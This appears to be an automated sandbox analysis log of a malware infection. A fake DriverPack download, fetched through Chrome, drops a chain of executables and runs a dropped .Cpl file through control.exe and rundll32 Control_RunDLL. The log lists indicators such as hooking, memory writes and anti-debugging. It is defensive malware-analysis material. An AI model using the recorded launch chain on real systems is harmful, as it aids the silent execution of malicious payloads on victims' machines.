pid Process 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 2768 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe 1048 chrome.exe -
Suspicious use of SetWindowsHookEx 51 IoCs
pid Process 2068 DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe 2900 DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe 2712 setup_installx86-x64.exe 1552 setup_installer.exe 1300 setup_install.exe 3248 Wed05179e74f5f0502.exe 3956 Wed05ae32a364b2c31.exe 828 Wed051a48c11a13fad7b.exe 1096 Wed05179e74f5f0502.tmp 3164 Wed055ca3ac1ad3.exe 1524 Wed055a1be90d5891f6c.exe 3220 Wed052811efdc9e3.exe 1884 Wed05c6b77f55.exe 1008 Wed05df191dfbc60c.exe 3028 Wed05179e74f5f0502.exe 3752 Wed058c44b0ac82ee.exe 1544 Wed05c6b77f55.exe 832 Wed05417d1201d2.exe 4128 Wed05f8edfbe05bce6.exe 4212 Ebook10.exe 4308 Wed05179e74f5f0502.tmp 4528 11111.exe 4632 Wed0555acc9ced75.exe 4952 11111.exe 5076 windllhost.exe 3488 f997de84-dd52-4ca1-821d-00ff01a9fa06.bin 4464 mynewstfile.exe 4212 Ebook10.exe 4260 1363348.exe 4276 1855060.exe 2420 Process not Found 2420 Process not Found 1932 1522690.exe 2420 Process not Found 2420 Process not Found 2316 mstsc.exe 2420 Process not Found 5312 MicrosoftEdge.exe 3628 MicrosoftEdgeCP.exe 3628 MicrosoftEdgeCP.exe 4312 MicrosoftEdgeCP.exe 4312 MicrosoftEdgeCP.exe 4312 MicrosoftEdgeCP.exe 4312 MicrosoftEdgeCP.exe 4312 MicrosoftEdgeCP.exe 4312 MicrosoftEdgeCP.exe 4428 MicrosoftEdgeCP.exe 2420 Process not Found 720 LYCflM3r.exe 1916 11111.exe 4016 11111.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2768 wrote to memory of 3548 2768 chrome.exe 69 PID 2768 wrote to memory of 3548 2768 chrome.exe 69 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 3120 2768 chrome.exe 70 PID 2768 wrote to memory of 920 2768 chrome.exe 71 PID 2768 wrote to memory of 920 2768 chrome.exe 71 PID 2768 wrote to memory of 1544 2768 chrome.exe 72 PID 2768 wrote to memory of 1544 2768 chrome.exe 72 PID 2768 wrote to memory of 1544 2768 chrome.exe 72 PID 2768 wrote to memory of 1544 2768 chrome.exe 72 PID 2768 wrote to memory of 1544 2768 chrome.exe 72 PID 2768 wrote to memory of 1544 2768 chrome.exe 72 PID 2768 wrote to memory of 1544 2768 chrome.exe 72 PID 2768 wrote to memory of 1544 2768 chrome.exe 72 PID 2768 wrote to memory of 1544 2768 chrome.exe 72 PID 2768 wrote to memory of 1544 2768 chrome.exe 72 PID 2768 wrote to memory of 1544 2768 chrome.exe 72 PID 2768 wrote to memory of 1544 2768 chrome.exe 72 PID 2768 wrote to memory of 1544 2768 chrome.exe 72 PID 2768 wrote to memory of 1544 2768 chrome.exe 72 PID 2768 wrote to memory of 1544 2768 chrome.exe 72 PID 2768 wrote to memory of 1544 2768 chrome.exe 72 PID 2768 wrote to memory of 1544 2768 chrome.exe 72 PID 2768 wrote to memory of 1544 2768 chrome.exe 72 PID 2768 wrote to memory of 1544 2768 chrome.exe 72 PID 2768 wrote to memory of 1544 2768 chrome.exe 72
Processes
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵PID:1220
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵PID:2300
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵PID:2520
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵PID:2648
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵PID:2640
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Suspicious use of SetThreadContext
PID:820 -
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
PID:5284
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" https://youtube.com1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2768 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7ff8a3a64f50,0x7ff8a3a64f60,0x7ff8a3a64f702⤵PID:3548
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1480 /prefetch:22⤵PID:3120
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1844 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:920
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2232 /prefetch:82⤵PID:1544
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2932 /prefetch:12⤵PID:324
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2952 /prefetch:12⤵PID:2256
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4100 /prefetch:82⤵PID:520
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4236 /prefetch:12⤵PID:3008
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4308 /prefetch:82⤵PID:2788
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5156 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:3036
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5212 /prefetch:82⤵PID:1480
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5232 /prefetch:82⤵PID:3704
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5288 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:3656
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5232 /prefetch:82⤵PID:3628
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4812 /prefetch:82⤵PID:3612
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4796 /prefetch:82⤵PID:2200
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4404 /prefetch:82⤵PID:2096
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4792 /prefetch:82⤵PID:2752
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4824 /prefetch:82⤵PID:840
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5216 /prefetch:12⤵PID:2784
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5516 /prefetch:12⤵PID:3136
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4588 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:3420
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4692 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:1840
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4460 /prefetch:82⤵PID:3660
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4048 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:3704
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3624 /prefetch:82⤵PID:4092
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5452 /prefetch:82⤵PID:628
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=5340 /prefetch:22⤵
- Suspicious behavior: EnumeratesProcesses
PID:2212
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5480 /prefetch:82⤵PID:1388
-
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed05adef517e454a1.exeWed05adef517e454a1.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4188 -
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"4⤵
- Executes dropped EXE
PID:1048 -
C:\Users\Admin\AppData\Local\Temp\mynewstfile.exe"C:\Users\Admin\AppData\Local\Temp\mynewstfile.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4464
-
-
C:\Users\Admin\AppData\Local\Temp\KnSoftInstall3r4827.exe"C:\Users\Admin\AppData\Local\Temp\KnSoftInstall3r4827.exe"5⤵PID:4108
-
C:\ProgramData\6478052.exe"C:\ProgramData\6478052.exe"6⤵
- Executes dropped EXE
PID:1592
-
-
C:\ProgramData\5517730.exe"C:\ProgramData\5517730.exe"6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4660 -
C:\Users\Admin\AppData\Roaming\1522690.exe"C:\Users\Admin\AppData\Roaming\1522690.exe"7⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1932 -
C:\Windows\SysWOW64\control.exe"C:\Windows\System32\control.exe" "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",8⤵PID:1548
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",9⤵
- Loads dropped DLL
PID:4428 -
C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",10⤵PID:1180
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",11⤵
- Loads dropped DLL
PID:1864
-
-
-
-
-
-
-
C:\ProgramData\1363348.exe"C:\ProgramData\1363348.exe"6⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
PID:4260
-
-
-
C:\Users\Admin\AppData\Local\Temp\Ebook10.exe"C:\Users\Admin\AppData\Local\Temp\Ebook10.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4212
-
-
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3416 /prefetch:82⤵PID:3572
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4580 /prefetch:12⤵PID:3792
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4052 /prefetch:12⤵PID:2792
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1360 /prefetch:82⤵PID:1044
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4696 /prefetch:82⤵PID:1292
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4652 /prefetch:82⤵PID:3648
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5216 /prefetch:82⤵PID:3624
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3064 /prefetch:82⤵PID:652
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=38 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4792 /prefetch:12⤵PID:972
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=39 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5480 /prefetch:12⤵PID:3196
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=40 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4156 /prefetch:12⤵PID:1932
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5576 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:2212
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=42 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5700 /prefetch:12⤵PID:372
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4864 /prefetch:82⤵PID:3336
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5632 /prefetch:82⤵PID:1644
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3312 /prefetch:82⤵PID:2604
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5556 /prefetch:82⤵PID:3660
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=47 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5648 /prefetch:12⤵PID:3400
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5880 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:512
-
-
C:\Users\Admin\Downloads\DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe"C:\Users\Admin\Downloads\DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
PID:2068
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6044 /prefetch:82⤵PID:364
-
-
